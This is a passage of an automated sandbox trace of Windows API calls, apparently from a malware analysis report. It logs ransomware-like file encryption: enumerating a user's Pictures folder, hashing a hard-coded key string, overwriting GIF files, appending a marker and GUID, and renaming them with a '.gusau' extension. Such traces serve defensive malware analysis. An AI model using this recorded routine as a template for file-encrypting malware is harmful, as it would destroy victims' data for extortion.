dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\bbyLspO02\\") returned="bbyLspO02\\" [0118.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\") returned="ZTE-\\" [0118.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0118.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.746] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0118.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0118.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0118.746] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0118.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0118.746] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.746] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.746] PathFindFileNameW (pszPath="") returned="" [0118.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.746] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\bbyLspO02\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd50af00, ftCreationTime.dwHighDateTime=0x1d4c95d, ftLastAccessTime.dwLowDateTime=0x12622cb0, ftLastAccessTime.dwHighDateTime=0x1d4cd3d, ftLastWriteTime.dwLowDateTime=0x12622cb0, ftLastWriteTime.dwHighDateTime=0x1d4cd3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.746] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd50af00, ftCreationTime.dwHighDateTime=0x1d4c95d, ftLastAccessTime.dwLowDateTime=0x12622cb0, ftLastAccessTime.dwHighDateTime=0x1d4cd3d, ftLastWriteTime.dwLowDateTime=0x12622cb0, ftLastWriteTime.dwHighDateTime=0x1d4cd3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.746] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64233600, ftCreationTime.dwHighDateTime=0x1d4c9c0, ftLastAccessTime.dwLowDateTime=0xef648930, ftLastAccessTime.dwHighDateTime=0x1d4d235, ftLastWriteTime.dwLowDateTime=0xef648930, ftLastWriteTime.dwHighDateTime=0x1d4d235, nFileSizeHigh=0x0, nFileSizeLow=0x14484, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hd0ZLwcXz17isUe1hi_.gif", cAlternateFileName="HD0ZLW~1.GIF")) returned 1 [0118.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x39326e8 [0118.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.746] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\bbyLspO02\\hd0ZLwcXz17isUe1hi_.gif") returned=".gif" [0118.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\bbyLspO02\\hd0ZLwcXz17isUe1hi_.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\bbylspo02\\hd0zlwcxz17isue1hi_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.747] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=83076) returned 1 [0118.747] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.749] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1445e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.749] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.750] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.750] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.750] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.750] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x14484, lpOverlapped=0x0) returned 1 [0118.751] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.751] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.751] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.751] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.751] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.752] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.752] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.752] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.752] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.752] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.752] GetLastError () returned 0x0 [0118.752] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.752] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.752] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.753] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x14480) returned 0x39f9f20 [0118.753] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.753] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.753] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1447f, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1447f, lpOverlapped=0x0) returned 1 [0118.753] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.753] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.754] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.754] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.754] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.754] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.754] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.754] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.754] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.754] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.754] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.754] CloseHandle (hObject=0x610) returned 1 [0118.755] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974300 [0118.755] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.755] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974300 | out: hHeap=0xd10000) returned 1 [0118.755] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\bbyLspO02\\hd0ZLwcXz17isUe1hi_.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\bbylspo02\\hd0zlwcxz17isue1hi_.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\bbyLspO02\\hd0ZLwcXz17isUe1hi_.gif.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\bbylspo02\\hd0zlwcxz17isue1hi_.gif.gusau")) returned 1 [0118.756] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.756] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.756] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39326e8 | out: hHeap=0xd10000) returned 1 [0118.756] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5ccdd40, ftCreationTime.dwHighDateTime=0x1d4ca2e, ftLastAccessTime.dwLowDateTime=0xb3a4e8a0, ftLastAccessTime.dwHighDateTime=0x1d4cf41, ftLastWriteTime.dwLowDateTime=0xb3a4e8a0, ftLastWriteTime.dwHighDateTime=0x1d4cf41, nFileSizeHigh=0x0, nFileSizeLow=0x164ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y lRKLTJHdvF Q.gif", cAlternateFileName="YLRKLT~1.GIF")) returned 1 [0118.757] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.757] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x39326e8 [0118.757] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.757] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\bbyLspO02\\y lRKLTJHdvF Q.gif") returned=".gif" [0118.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\bbyLspO02\\y lRKLTJHdvF Q.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\bbylspo02\\y lrkltjhdvf q.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.757] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=91322) returned 1 [0118.757] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.759] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x16494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.759] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.761] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.761] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.761] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.761] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x164ba, lpOverlapped=0x0) returned 1 [0118.762] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.762] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.762] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.762] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.762] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.762] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.763] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.763] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.763] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.763] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.763] GetLastError () returned 0x0 [0118.763] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.763] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.763] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.763] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x164c0) returned 0x39f9f20 [0118.763] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.763] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.763] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x164b5, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x164b5, lpOverlapped=0x0) returned 1 [0118.764] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.764] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x164ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.764] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.764] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.764] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.764] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.764] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.764] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.764] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.764] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.764] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.764] CloseHandle (hObject=0x610) returned 1 [0118.765] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974300 [0118.765] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f4ef8 [0118.765] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974300 | out: hHeap=0xd10000) returned 1 [0118.765] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\bbyLspO02\\y lRKLTJHdvF Q.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\bbylspo02\\y lrkltjhdvf q.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\bbyLspO02\\y lRKLTJHdvF Q.gif.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\bbylspo02\\y lrkltjhdvf q.gif.gusau")) returned 1 [0118.768] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.768] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39326e8 | out: hHeap=0xd10000) returned 1 [0118.769] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5ccdd40, ftCreationTime.dwHighDateTime=0x1d4ca2e, ftLastAccessTime.dwLowDateTime=0xb3a4e8a0, ftLastAccessTime.dwHighDateTime=0x1d4cf41, ftLastWriteTime.dwLowDateTime=0xb3a4e8a0, ftLastWriteTime.dwHighDateTime=0x1d4cf41, nFileSizeHigh=0x0, nFileSizeLow=0x164ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y lRKLTJHdvF Q.gif", cAlternateFileName="YLRKLT~1.GIF")) returned 0 [0118.769] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b08 | out: hHeap=0xd10000) returned 1 [0118.769] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7fd0 [0118.769] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.769] RtlAllocateHeap (HeapHandle=0xd10000, 